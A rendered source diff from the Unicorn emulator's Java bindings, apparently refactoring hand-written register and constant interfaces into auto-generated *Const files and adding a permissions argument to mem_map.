Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
|
||||||
|
|
||||||
// map 2MB memory for this emulation
|
// map 2MB memory for this emulation
|
||||||
u.mem_map(ADDRESS, 2 * 1024 * 1024);
|
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
u.mem_write(ADDRESS, X86_CODE32_SELF);
|
u.mem_write(ADDRESS, X86_CODE32_SELF);
|
||||||
|
@ -1,27 +1,11 @@
|
|||||||
/*
|
// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT
|
||||||
|
|
||||||
Java bindings for the Unicorn Emulator Engine
|
|
||||||
|
|
||||||
Copyright(c) 2015 Chris Eagle
|
|
||||||
|
|
||||||
This program is free software; you can redistribute it and/or
|
|
||||||
modify it under the terms of the GNU General Public License
|
|
||||||
version 2 as published by the Free Software Foundation.
|
|
||||||
|
|
||||||
This program is distributed in the hope that it will be useful,
|
|
||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
||||||
GNU General Public License for more details.
|
|
||||||
|
|
||||||
You should have received a copy of the GNU General Public License
|
|
||||||
along with this program; if not, write to the Free Software
|
|
||||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
|
|
||||||
|
|
||||||
*/
|
|
||||||
|
|
||||||
package unicorn;
|
package unicorn;
|
||||||
|
|
||||||
public interface Arm64Regs {
|
public interface Arm64Const {
|
||||||
|
|
||||||
|
// ARM64 registers
|
||||||
|
|
||||||
public static final int UC_ARM64_REG_INVALID = 0;
|
public static final int UC_ARM64_REG_INVALID = 0;
|
||||||
public static final int UC_ARM64_REG_X29 = 1;
|
public static final int UC_ARM64_REG_X29 = 1;
|
||||||
public static final int UC_ARM64_REG_X30 = 2;
|
public static final int UC_ARM64_REG_X30 = 2;
|
||||||
@ -282,10 +266,15 @@ public interface Arm64Regs {
|
|||||||
public static final int UC_ARM64_REG_V29 = 257;
|
public static final int UC_ARM64_REG_V29 = 257;
|
||||||
public static final int UC_ARM64_REG_V30 = 258;
|
public static final int UC_ARM64_REG_V30 = 258;
|
||||||
public static final int UC_ARM64_REG_V31 = 259;
|
public static final int UC_ARM64_REG_V31 = 259;
|
||||||
|
|
||||||
|
// pseudo registers
|
||||||
public static final int UC_ARM64_REG_PC = 260;
|
public static final int UC_ARM64_REG_PC = 260;
|
||||||
public static final int UC_ARM64_REG_ENDING = 261;
|
public static final int UC_ARM64_REG_ENDING = 261;
|
||||||
public static final int UC_ARM64_REG_IP1 = UC_ARM64_REG_X16;
|
|
||||||
public static final int UC_ARM64_REG_IP0 = UC_ARM64_REG_X17;
|
// alias registers
|
||||||
public static final int UC_ARM64_REG_FP = UC_ARM64_REG_X29;
|
public static final int UC_ARM64_REG_IP1 = 215;
|
||||||
public static final int UC_ARM64_REG_LR = UC_ARM64_REG_X30;
|
public static final int UC_ARM64_REG_IP0 = 216;
|
||||||
|
public static final int UC_ARM64_REG_FP = 1;
|
||||||
|
public static final int UC_ARM64_REG_LR = 2;
|
||||||
|
|
||||||
}
|
}
|
@ -1,27 +1,11 @@
|
|||||||
/*
|
// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT
|
||||||
|
|
||||||
Java bindings for the Unicorn Emulator Engine
|
|
||||||
|
|
||||||
Copyright(c) 2015 Chris Eagle
|
|
||||||
|
|
||||||
This program is free software; you can redistribute it and/or
|
|
||||||
modify it under the terms of the GNU General Public License
|
|
||||||
version 2 as published by the Free Software Foundation.
|
|
||||||
|
|
||||||
This program is distributed in the hope that it will be useful,
|
|
||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
||||||
GNU General Public License for more details.
|
|
||||||
|
|
||||||
You should have received a copy of the GNU General Public License
|
|
||||||
along with this program; if not, write to the Free Software
|
|
||||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
|
|
||||||
|
|
||||||
*/
|
|
||||||
|
|
||||||
package unicorn;
|
package unicorn;
|
||||||
|
|
||||||
public interface ArmRegs {
|
public interface ArmConst {
|
||||||
|
|
||||||
|
// ARM registers
|
||||||
|
|
||||||
public static final int UC_ARM_REG_INVALID = 0;
|
public static final int UC_ARM_REG_INVALID = 0;
|
||||||
public static final int UC_ARM_REG_APSR = 1;
|
public static final int UC_ARM_REG_APSR = 1;
|
||||||
public static final int UC_ARM_REG_APSR_NZCV = 2;
|
public static final int UC_ARM_REG_APSR_NZCV = 2;
|
||||||
@ -134,11 +118,14 @@ public interface ArmRegs {
|
|||||||
public static final int UC_ARM_REG_S30 = 109;
|
public static final int UC_ARM_REG_S30 = 109;
|
||||||
public static final int UC_ARM_REG_S31 = 110;
|
public static final int UC_ARM_REG_S31 = 110;
|
||||||
public static final int UC_ARM_REG_ENDING = 111;
|
public static final int UC_ARM_REG_ENDING = 111;
|
||||||
public static final int UC_ARM_REG_R13 = UC_ARM_REG_SP;
|
|
||||||
public static final int UC_ARM_REG_R14 = UC_ARM_REG_LR;
|
// alias registers
|
||||||
public static final int UC_ARM_REG_R15 = UC_ARM_REG_PC;
|
public static final int UC_ARM_REG_R13 = 12;
|
||||||
public static final int UC_ARM_REG_SB = UC_ARM_REG_R9;
|
public static final int UC_ARM_REG_R14 = 10;
|
||||||
public static final int UC_ARM_REG_SL = UC_ARM_REG_R10;
|
public static final int UC_ARM_REG_R15 = 11;
|
||||||
public static final int UC_ARM_REG_FP = UC_ARM_REG_R11;
|
public static final int UC_ARM_REG_SB = 75;
|
||||||
public static final int UC_ARM_REG_IP = UC_ARM_REG_R12;
|
public static final int UC_ARM_REG_SL = 76;
|
||||||
|
public static final int UC_ARM_REG_FP = 77;
|
||||||
|
public static final int UC_ARM_REG_IP = 78;
|
||||||
|
|
||||||
}
|
}
|
@ -1,27 +1,11 @@
|
|||||||
/*
|
// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT
|
||||||
|
|
||||||
Java bindings for the Unicorn Emulator Engine
|
|
||||||
|
|
||||||
Copyright(c) 2015 Chris Eagle
|
|
||||||
|
|
||||||
This program is free software; you can redistribute it and/or
|
|
||||||
modify it under the terms of the GNU General Public License
|
|
||||||
version 2 as published by the Free Software Foundation.
|
|
||||||
|
|
||||||
This program is distributed in the hope that it will be useful,
|
|
||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
||||||
GNU General Public License for more details.
|
|
||||||
|
|
||||||
You should have received a copy of the GNU General Public License
|
|
||||||
along with this program; if not, write to the Free Software
|
|
||||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
|
|
||||||
|
|
||||||
*/
|
|
||||||
|
|
||||||
package unicorn;
|
package unicorn;
|
||||||
|
|
||||||
public interface M68kRegs {
|
public interface M68kConst {
|
||||||
|
|
||||||
|
// M68K registers
|
||||||
|
|
||||||
public static final int UC_M68K_REG_INVALID = 0;
|
public static final int UC_M68K_REG_INVALID = 0;
|
||||||
public static final int UC_M68K_REG_A0 = 1;
|
public static final int UC_M68K_REG_A0 = 1;
|
||||||
public static final int UC_M68K_REG_A1 = 2;
|
public static final int UC_M68K_REG_A1 = 2;
|
||||||
@ -42,4 +26,5 @@ public interface M68kRegs {
|
|||||||
public static final int UC_M68K_REG_SR = 17;
|
public static final int UC_M68K_REG_SR = 17;
|
||||||
public static final int UC_M68K_REG_PC = 18;
|
public static final int UC_M68K_REG_PC = 18;
|
||||||
public static final int UC_M68K_REG_ENDING = 19;
|
public static final int UC_M68K_REG_ENDING = 19;
|
||||||
|
|
||||||
}
|
}
|
@ -1,28 +1,14 @@
|
|||||||
/*
|
// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT
|
||||||
|
|
||||||
Java bindings for the Unicorn Emulator Engine
|
|
||||||
|
|
||||||
Copyright(c) 2015 Chris Eagle
|
|
||||||
|
|
||||||
This program is free software; you can redistribute it and/or
|
|
||||||
modify it under the terms of the GNU General Public License
|
|
||||||
version 2 as published by the Free Software Foundation.
|
|
||||||
|
|
||||||
This program is distributed in the hope that it will be useful,
|
|
||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
||||||
GNU General Public License for more details.
|
|
||||||
|
|
||||||
You should have received a copy of the GNU General Public License
|
|
||||||
along with this program; if not, write to the Free Software
|
|
||||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
|
|
||||||
|
|
||||||
*/
|
|
||||||
|
|
||||||
package unicorn;
|
package unicorn;
|
||||||
|
|
||||||
public interface MipsRegs {
|
public interface MipsConst {
|
||||||
|
|
||||||
|
// MIPS registers
|
||||||
|
|
||||||
public static final int UC_MIPS_REG_INVALID = 0;
|
public static final int UC_MIPS_REG_INVALID = 0;
|
||||||
|
|
||||||
|
// General purpose registers
|
||||||
public static final int UC_MIPS_REG_PC = 1;
|
public static final int UC_MIPS_REG_PC = 1;
|
||||||
public static final int UC_MIPS_REG_0 = 2;
|
public static final int UC_MIPS_REG_0 = 2;
|
||||||
public static final int UC_MIPS_REG_1 = 3;
|
public static final int UC_MIPS_REG_1 = 3;
|
||||||
@ -56,6 +42,8 @@ public interface MipsRegs {
|
|||||||
public static final int UC_MIPS_REG_29 = 31;
|
public static final int UC_MIPS_REG_29 = 31;
|
||||||
public static final int UC_MIPS_REG_30 = 32;
|
public static final int UC_MIPS_REG_30 = 32;
|
||||||
public static final int UC_MIPS_REG_31 = 33;
|
public static final int UC_MIPS_REG_31 = 33;
|
||||||
|
|
||||||
|
// DSP registers
|
||||||
public static final int UC_MIPS_REG_DSPCCOND = 34;
|
public static final int UC_MIPS_REG_DSPCCOND = 34;
|
||||||
public static final int UC_MIPS_REG_DSPCARRY = 35;
|
public static final int UC_MIPS_REG_DSPCARRY = 35;
|
||||||
public static final int UC_MIPS_REG_DSPEFI = 36;
|
public static final int UC_MIPS_REG_DSPEFI = 36;
|
||||||
@ -67,10 +55,14 @@ public interface MipsRegs {
|
|||||||
public static final int UC_MIPS_REG_DSPOUTFLAG23 = 42;
|
public static final int UC_MIPS_REG_DSPOUTFLAG23 = 42;
|
||||||
public static final int UC_MIPS_REG_DSPPOS = 43;
|
public static final int UC_MIPS_REG_DSPPOS = 43;
|
||||||
public static final int UC_MIPS_REG_DSPSCOUNT = 44;
|
public static final int UC_MIPS_REG_DSPSCOUNT = 44;
|
||||||
|
|
||||||
|
// ACC registers
|
||||||
public static final int UC_MIPS_REG_AC0 = 45;
|
public static final int UC_MIPS_REG_AC0 = 45;
|
||||||
public static final int UC_MIPS_REG_AC1 = 46;
|
public static final int UC_MIPS_REG_AC1 = 46;
|
||||||
public static final int UC_MIPS_REG_AC2 = 47;
|
public static final int UC_MIPS_REG_AC2 = 47;
|
||||||
public static final int UC_MIPS_REG_AC3 = 48;
|
public static final int UC_MIPS_REG_AC3 = 48;
|
||||||
|
|
||||||
|
// COP registers
|
||||||
public static final int UC_MIPS_REG_CC0 = 49;
|
public static final int UC_MIPS_REG_CC0 = 49;
|
||||||
public static final int UC_MIPS_REG_CC1 = 50;
|
public static final int UC_MIPS_REG_CC1 = 50;
|
||||||
public static final int UC_MIPS_REG_CC2 = 51;
|
public static final int UC_MIPS_REG_CC2 = 51;
|
||||||
@ -79,6 +71,8 @@ public interface MipsRegs {
|
|||||||
public static final int UC_MIPS_REG_CC5 = 54;
|
public static final int UC_MIPS_REG_CC5 = 54;
|
||||||
public static final int UC_MIPS_REG_CC6 = 55;
|
public static final int UC_MIPS_REG_CC6 = 55;
|
||||||
public static final int UC_MIPS_REG_CC7 = 56;
|
public static final int UC_MIPS_REG_CC7 = 56;
|
||||||
|
|
||||||
|
// FPU registers
|
||||||
public static final int UC_MIPS_REG_F0 = 57;
|
public static final int UC_MIPS_REG_F0 = 57;
|
||||||
public static final int UC_MIPS_REG_F1 = 58;
|
public static final int UC_MIPS_REG_F1 = 58;
|
||||||
public static final int UC_MIPS_REG_F2 = 59;
|
public static final int UC_MIPS_REG_F2 = 59;
|
||||||
@ -119,6 +113,8 @@ public interface MipsRegs {
|
|||||||
public static final int UC_MIPS_REG_FCC5 = 94;
|
public static final int UC_MIPS_REG_FCC5 = 94;
|
||||||
public static final int UC_MIPS_REG_FCC6 = 95;
|
public static final int UC_MIPS_REG_FCC6 = 95;
|
||||||
public static final int UC_MIPS_REG_FCC7 = 96;
|
public static final int UC_MIPS_REG_FCC7 = 96;
|
||||||
|
|
||||||
|
// AFPR128
|
||||||
public static final int UC_MIPS_REG_W0 = 97;
|
public static final int UC_MIPS_REG_W0 = 97;
|
||||||
public static final int UC_MIPS_REG_W1 = 98;
|
public static final int UC_MIPS_REG_W1 = 98;
|
||||||
public static final int UC_MIPS_REG_W2 = 99;
|
public static final int UC_MIPS_REG_W2 = 99;
|
||||||
@ -160,45 +156,46 @@ public interface MipsRegs {
|
|||||||
public static final int UC_MIPS_REG_MPL1 = 135;
|
public static final int UC_MIPS_REG_MPL1 = 135;
|
||||||
public static final int UC_MIPS_REG_MPL2 = 136;
|
public static final int UC_MIPS_REG_MPL2 = 136;
|
||||||
public static final int UC_MIPS_REG_ENDING = 137;
|
public static final int UC_MIPS_REG_ENDING = 137;
|
||||||
public static final int UC_MIPS_REG_ZERO = UC_MIPS_REG_0;
|
public static final int UC_MIPS_REG_ZERO = 2;
|
||||||
public static final int UC_MIPS_REG_AT = UC_MIPS_REG_1;
|
public static final int UC_MIPS_REG_AT = 3;
|
||||||
public static final int UC_MIPS_REG_V0 = UC_MIPS_REG_2;
|
public static final int UC_MIPS_REG_V0 = 4;
|
||||||
public static final int UC_MIPS_REG_V1 = UC_MIPS_REG_3;
|
public static final int UC_MIPS_REG_V1 = 5;
|
||||||
public static final int UC_MIPS_REG_A0 = UC_MIPS_REG_4;
|
public static final int UC_MIPS_REG_A0 = 6;
|
||||||
public static final int UC_MIPS_REG_A1 = UC_MIPS_REG_5;
|
public static final int UC_MIPS_REG_A1 = 7;
|
||||||
public static final int UC_MIPS_REG_A2 = UC_MIPS_REG_6;
|
public static final int UC_MIPS_REG_A2 = 8;
|
||||||
public static final int UC_MIPS_REG_A3 = UC_MIPS_REG_7;
|
public static final int UC_MIPS_REG_A3 = 9;
|
||||||
public static final int UC_MIPS_REG_T0 = UC_MIPS_REG_8;
|
public static final int UC_MIPS_REG_T0 = 10;
|
||||||
public static final int UC_MIPS_REG_T1 = UC_MIPS_REG_9;
|
public static final int UC_MIPS_REG_T1 = 11;
|
||||||
public static final int UC_MIPS_REG_T2 = UC_MIPS_REG_10;
|
public static final int UC_MIPS_REG_T2 = 12;
|
||||||
public static final int UC_MIPS_REG_T3 = UC_MIPS_REG_11;
|
public static final int UC_MIPS_REG_T3 = 13;
|
||||||
public static final int UC_MIPS_REG_T4 = UC_MIPS_REG_12;
|
public static final int UC_MIPS_REG_T4 = 14;
|
||||||
public static final int UC_MIPS_REG_T5 = UC_MIPS_REG_13;
|
public static final int UC_MIPS_REG_T5 = 15;
|
||||||
public static final int UC_MIPS_REG_T6 = UC_MIPS_REG_14;
|
public static final int UC_MIPS_REG_T6 = 16;
|
||||||
public static final int UC_MIPS_REG_T7 = UC_MIPS_REG_15;
|
public static final int UC_MIPS_REG_T7 = 17;
|
||||||
public static final int UC_MIPS_REG_S0 = UC_MIPS_REG_16;
|
public static final int UC_MIPS_REG_S0 = 18;
|
||||||
public static final int UC_MIPS_REG_S1 = UC_MIPS_REG_17;
|
public static final int UC_MIPS_REG_S1 = 19;
|
||||||
public static final int UC_MIPS_REG_S2 = UC_MIPS_REG_18;
|
public static final int UC_MIPS_REG_S2 = 20;
|
||||||
public static final int UC_MIPS_REG_S3 = UC_MIPS_REG_19;
|
public static final int UC_MIPS_REG_S3 = 21;
|
||||||
public static final int UC_MIPS_REG_S4 = UC_MIPS_REG_20;
|
public static final int UC_MIPS_REG_S4 = 22;
|
||||||
public static final int UC_MIPS_REG_S5 = UC_MIPS_REG_21;
|
public static final int UC_MIPS_REG_S5 = 23;
|
||||||
public static final int UC_MIPS_REG_S6 = UC_MIPS_REG_22;
|
public static final int UC_MIPS_REG_S6 = 24;
|
||||||
public static final int UC_MIPS_REG_S7 = UC_MIPS_REG_23;
|
public static final int UC_MIPS_REG_S7 = 25;
|
||||||
public static final int UC_MIPS_REG_T8 = UC_MIPS_REG_24;
|
public static final int UC_MIPS_REG_T8 = 26;
|
||||||
public static final int UC_MIPS_REG_T9 = UC_MIPS_REG_25;
|
public static final int UC_MIPS_REG_T9 = 27;
|
||||||
public static final int UC_MIPS_REG_K0 = UC_MIPS_REG_26;
|
public static final int UC_MIPS_REG_K0 = 28;
|
||||||
public static final int UC_MIPS_REG_K1 = UC_MIPS_REG_27;
|
public static final int UC_MIPS_REG_K1 = 29;
|
||||||
public static final int UC_MIPS_REG_GP = UC_MIPS_REG_28;
|
public static final int UC_MIPS_REG_GP = 30;
|
||||||
public static final int UC_MIPS_REG_SP = UC_MIPS_REG_29;
|
public static final int UC_MIPS_REG_SP = 31;
|
||||||
public static final int UC_MIPS_REG_FP = UC_MIPS_REG_30;
|
public static final int UC_MIPS_REG_FP = 32;
|
||||||
public static final int UC_MIPS_REG_S8 = UC_MIPS_REG_30;
|
public static final int UC_MIPS_REG_S8 = 32;
|
||||||
public static final int UC_MIPS_REG_RA = UC_MIPS_REG_31;
|
public static final int UC_MIPS_REG_RA = 33;
|
||||||
public static final int UC_MIPS_REG_HI0 = UC_MIPS_REG_AC0;
|
public static final int UC_MIPS_REG_HI0 = 45;
|
||||||
public static final int UC_MIPS_REG_HI1 = UC_MIPS_REG_AC1;
|
public static final int UC_MIPS_REG_HI1 = 46;
|
||||||
public static final int UC_MIPS_REG_HI2 = UC_MIPS_REG_AC2;
|
public static final int UC_MIPS_REG_HI2 = 47;
|
||||||
public static final int UC_MIPS_REG_HI3 = UC_MIPS_REG_AC3;
|
public static final int UC_MIPS_REG_HI3 = 48;
|
||||||
public static final int UC_MIPS_REG_LO0 = UC_MIPS_REG_HI0;
|
public static final int UC_MIPS_REG_LO0 = 45;
|
||||||
public static final int UC_MIPS_REG_LO1 = UC_MIPS_REG_HI1;
|
public static final int UC_MIPS_REG_LO1 = 46;
|
||||||
public static final int UC_MIPS_REG_LO2 = UC_MIPS_REG_HI2;
|
public static final int UC_MIPS_REG_LO2 = 47;
|
||||||
public static final int UC_MIPS_REG_LO3 = UC_MIPS_REG_HI3;
|
public static final int UC_MIPS_REG_LO3 = 48;
|
||||||
|
|
||||||
}
|
}
|
@ -1,27 +1,11 @@
|
|||||||
/*
|
// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT
|
||||||
|
|
||||||
Java bindings for the Unicorn Emulator Engine
|
|
||||||
|
|
||||||
Copyright(c) 2015 Chris Eagle
|
|
||||||
|
|
||||||
This program is free software; you can redistribute it and/or
|
|
||||||
modify it under the terms of the GNU General Public License
|
|
||||||
version 2 as published by the Free Software Foundation.
|
|
||||||
|
|
||||||
This program is distributed in the hope that it will be useful,
|
|
||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
||||||
GNU General Public License for more details.
|
|
||||||
|
|
||||||
You should have received a copy of the GNU General Public License
|
|
||||||
along with this program; if not, write to the Free Software
|
|
||||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
|
|
||||||
|
|
||||||
*/
|
|
||||||
|
|
||||||
package unicorn;
|
package unicorn;
|
||||||
|
|
||||||
public interface SparcRegs {
|
public interface SparcConst {
|
||||||
|
|
||||||
|
// SPARC registers
|
||||||
|
|
||||||
public static final int UC_SPARC_REG_INVALID = 0;
|
public static final int UC_SPARC_REG_INVALID = 0;
|
||||||
public static final int UC_SPARC_REG_F0 = 1;
|
public static final int UC_SPARC_REG_F0 = 1;
|
||||||
public static final int UC_SPARC_REG_F1 = 2;
|
public static final int UC_SPARC_REG_F1 = 2;
|
||||||
@ -112,6 +96,7 @@ public interface SparcRegs {
|
|||||||
public static final int UC_SPARC_REG_XCC = 87;
|
public static final int UC_SPARC_REG_XCC = 87;
|
||||||
public static final int UC_SPARC_REG_PC = 88;
|
public static final int UC_SPARC_REG_PC = 88;
|
||||||
public static final int UC_SPARC_REG_ENDING = 89;
|
public static final int UC_SPARC_REG_ENDING = 89;
|
||||||
public static final int UC_SPARC_REG_O6 = UC_SPARC_REG_SP;
|
public static final int UC_SPARC_REG_O6 = 85;
|
||||||
public static final int UC_SPARC_REG_I6 = UC_SPARC_REG_FP;
|
public static final int UC_SPARC_REG_I6 = 53;
|
||||||
|
|
||||||
}
|
}
|
@ -23,8 +23,7 @@ package unicorn;
|
|||||||
|
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
|
|
||||||
public class Unicorn implements UnicornArchs, UnicornModes, UnicornHooks,
|
public class Unicorn implements UnicornConst, ArmConst, Arm64Const, M68kConst, SparcConst, MipsConst, X86Const {
|
||||||
ArmRegs, Arm64Regs, M68kRegs, SparcRegs, MipsRegs, X86Regs, X86Instructions {
|
|
||||||
|
|
||||||
// Scales to calculate timeout on microsecond unit
|
// Scales to calculate timeout on microsecond unit
|
||||||
// 1 second = 1000,000 microseconds
|
// 1 second = 1000,000 microseconds
|
||||||
@ -624,7 +623,7 @@ public class Unicorn implements UnicornArchs, UnicornModes, UnicornHooks,
|
|||||||
* @param address Base address of the memory range
|
* @param address Base address of the memory range
|
||||||
* @param size Size of the memory block.
|
* @param size Size of the memory block.
|
||||||
*/
|
*/
|
||||||
public native void mem_map(long address, long size) throws UnicornException;
|
public native void mem_map(long address, long size, int perms) throws UnicornException;
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -1,34 +0,0 @@
|
|||||||
/*
|
|
||||||
|
|
||||||
Java bindings for the Unicorn Emulator Engine
|
|
||||||
|
|
||||||
Copyright(c) 2015 Chris Eagle
|
|
||||||
|
|
||||||
This program is free software; you can redistribute it and/or
|
|
||||||
modify it under the terms of the GNU General Public License
|
|
||||||
version 2 as published by the Free Software Foundation.
|
|
||||||
|
|
||||||
This program is distributed in the hope that it will be useful,
|
|
||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
||||||
GNU General Public License for more details.
|
|
||||||
|
|
||||||
You should have received a copy of the GNU General Public License
|
|
||||||
along with this program; if not, write to the Free Software
|
|
||||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
|
|
||||||
|
|
||||||
*/
|
|
||||||
|
|
||||||
package unicorn;
|
|
||||||
|
|
||||||
public interface UnicornArchs {
|
|
||||||
public static final int UC_ARCH_ARM = 1; // ARM architecture (including Thumb, Thumb-2)
|
|
||||||
public static final int UC_ARCH_ARM64 = 2; // ARM-64, also called AArch64
|
|
||||||
public static final int UC_ARCH_MIPS = 3; // Mips architecture
|
|
||||||
public static final int UC_ARCH_X86 = 4; // X86 architecture (including x86 & x86-64)
|
|
||||||
public static final int UC_ARCH_PPC = 5; // PowerPC architecture
|
|
||||||
public static final int UC_ARCH_SPARC = 6; // Sparc architecture
|
|
||||||
public static final int UC_ARCH_M68K = 7; // M68K architecture
|
|
||||||
public static final int UC_ARCH_MAX = 8;
|
|
||||||
public static final int UC_ARCH_ALL = 0xFFFF; // All architectures - for uc_support()
|
|
||||||
}
|
|
71
bindings/java/unicorn/UnicornConst.java
Normal file
71
bindings/java/unicorn/UnicornConst.java
Normal file
@ -0,0 +1,71 @@
|
|||||||
|
// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT
|
||||||
|
|
||||||
|
package unicorn;
|
||||||
|
|
||||||
|
public interface UnicornConst {
|
||||||
|
|
||||||
|
public static final int UC_API_MAJOR = 0;
|
||||||
|
public static final int UC_API_MINOR = 9;
|
||||||
|
public static final int UC_SECOND_SCALE = 1000000;
|
||||||
|
public static final int UC_MILISECOND_SCALE = 1000;
|
||||||
|
public static final int UC_ARCH_ARM = 1;
|
||||||
|
public static final int UC_ARCH_ARM64 = 2;
|
||||||
|
public static final int UC_ARCH_MIPS = 3;
|
||||||
|
public static final int UC_ARCH_X86 = 4;
|
||||||
|
public static final int UC_ARCH_PPC = 5;
|
||||||
|
public static final int UC_ARCH_SPARC = 6;
|
||||||
|
public static final int UC_ARCH_M68K = 7;
|
||||||
|
public static final int UC_ARCH_MAX = 8;
|
||||||
|
|
||||||
|
public static final int UC_MODE_LITTLE_ENDIAN = 0;
|
||||||
|
|
||||||
|
public static final int UC_MODE_ARM = 0;
|
||||||
|
public static final int UC_MODE_16 = 2;
|
||||||
|
public static final int UC_MODE_32 = 4;
|
||||||
|
public static final int UC_MODE_64 = 8;
|
||||||
|
public static final int UC_MODE_THUMB = 16;
|
||||||
|
public static final int UC_MODE_MCLASS = 32;
|
||||||
|
public static final int UC_MODE_V8 = 64;
|
||||||
|
public static final int UC_MODE_MICRO = 16;
|
||||||
|
public static final int UC_MODE_MIPS3 = 32;
|
||||||
|
public static final int UC_MODE_MIPS32R6 = 64;
|
||||||
|
public static final int UC_MODE_V9 = 16;
|
||||||
|
public static final int UC_MODE_QPX = 16;
|
||||||
|
public static final int UC_MODE_BIG_ENDIAN = 0x80000000;
|
||||||
|
public static final int UC_MODE_MIPS32 = 4;
|
||||||
|
public static final int UC_MODE_MIPS64 = 8;
|
||||||
|
|
||||||
|
public static final int UC_ERR_OK = 0;
|
||||||
|
public static final int UC_ERR_OOM = 1;
|
||||||
|
public static final int UC_ERR_ARCH = 2;
|
||||||
|
public static final int UC_ERR_HANDLE = 3;
|
||||||
|
public static final int UC_ERR_UCH = 4;
|
||||||
|
public static final int UC_ERR_MODE = 5;
|
||||||
|
public static final int UC_ERR_VERSION = 6;
|
||||||
|
public static final int UC_ERR_MEM_READ = 7;
|
||||||
|
public static final int UC_ERR_MEM_WRITE = 8;
|
||||||
|
public static final int UC_ERR_CODE_INVALID = 9;
|
||||||
|
public static final int UC_ERR_HOOK = 10;
|
||||||
|
public static final int UC_ERR_INSN_INVALID = 11;
|
||||||
|
public static final int UC_ERR_MAP = 12;
|
||||||
|
public static final int UC_ERR_MEM_WRITE_NW = 13;
|
||||||
|
public static final int UC_ERR_MEM_READ_NR = 14;
|
||||||
|
public static final int UC_MEM_READ = 16;
|
||||||
|
public static final int UC_MEM_WRITE = 17;
|
||||||
|
public static final int UC_MEM_READ_WRITE = 18;
|
||||||
|
public static final int UC_MEM_WRITE_NW = 19;
|
||||||
|
public static final int UC_MEM_READ_NR = 20;
|
||||||
|
public static final int UC_MEM_NX = 21;
|
||||||
|
public static final int UC_HOOK_INTR = 32;
|
||||||
|
public static final int UC_HOOK_INSN = 33;
|
||||||
|
public static final int UC_HOOK_CODE = 34;
|
||||||
|
public static final int UC_HOOK_BLOCK = 35;
|
||||||
|
public static final int UC_HOOK_MEM_INVALID = 36;
|
||||||
|
public static final int UC_HOOK_MEM_READ = 37;
|
||||||
|
public static final int UC_HOOK_MEM_WRITE = 38;
|
||||||
|
public static final int UC_HOOK_MEM_READ_WRITE = 39;
|
||||||
|
public static final int UC_PROT_READ = 1;
|
||||||
|
public static final int UC_PROT_WRITE = 2;
|
||||||
|
public static final int UC_PROT_EXEC = 4;
|
||||||
|
|
||||||
|
}
|
@ -1,38 +0,0 @@
|
|||||||
/*
|
|
||||||
|
|
||||||
Java bindings for the Unicorn Emulator Engine
|
|
||||||
|
|
||||||
Copyright(c) 2015 Chris Eagle
|
|
||||||
|
|
||||||
This program is free software; you can redistribute it and/or
|
|
||||||
modify it under the terms of the GNU General Public License
|
|
||||||
version 2 as published by the Free Software Foundation.
|
|
||||||
|
|
||||||
This program is distributed in the hope that it will be useful,
|
|
||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
||||||
GNU General Public License for more details.
|
|
||||||
|
|
||||||
You should have received a copy of the GNU General Public License
|
|
||||||
along with this program; if not, write to the Free Software
|
|
||||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
|
|
||||||
|
|
||||||
*/
|
|
||||||
|
|
||||||
package unicorn;
|
|
||||||
|
|
||||||
public interface UnicornHooks {
|
|
||||||
|
|
||||||
public static final int UC_MEM_READ = 16; // Memory is read from
|
|
||||||
public static final int UC_MEM_WRITE = 17; // Memory is written to
|
|
||||||
public static final int UC_MEM_READ_WRITE = 18; // Memory is accessed (either READ or WRITE)
|
|
||||||
|
|
||||||
public static final int UC_HOOK_INTR = 32; // Hook all interrupt events
|
|
||||||
public static final int UC_HOOK_INSN = 33; // Hook a particular instruction
|
|
||||||
public static final int UC_HOOK_CODE = 34; // Hook a range of code
|
|
||||||
public static final int UC_HOOK_BLOCK = 35; // Hook basic blocks
|
|
||||||
public static final int UC_HOOK_MEM_INVALID = 36; // Hook for all invalid memory access events
|
|
||||||
public static final int UC_HOOK_MEM_READ = 37; // Hook all memory read events.
|
|
||||||
public static final int UC_HOOK_MEM_WRITE = 38; // Hook all memory write events.
|
|
||||||
public static final int UC_HOOK_MEM_READ_WRITE = 39; // Hook all memory accesses (either READ or WRITE).
|
|
||||||
}
|
|
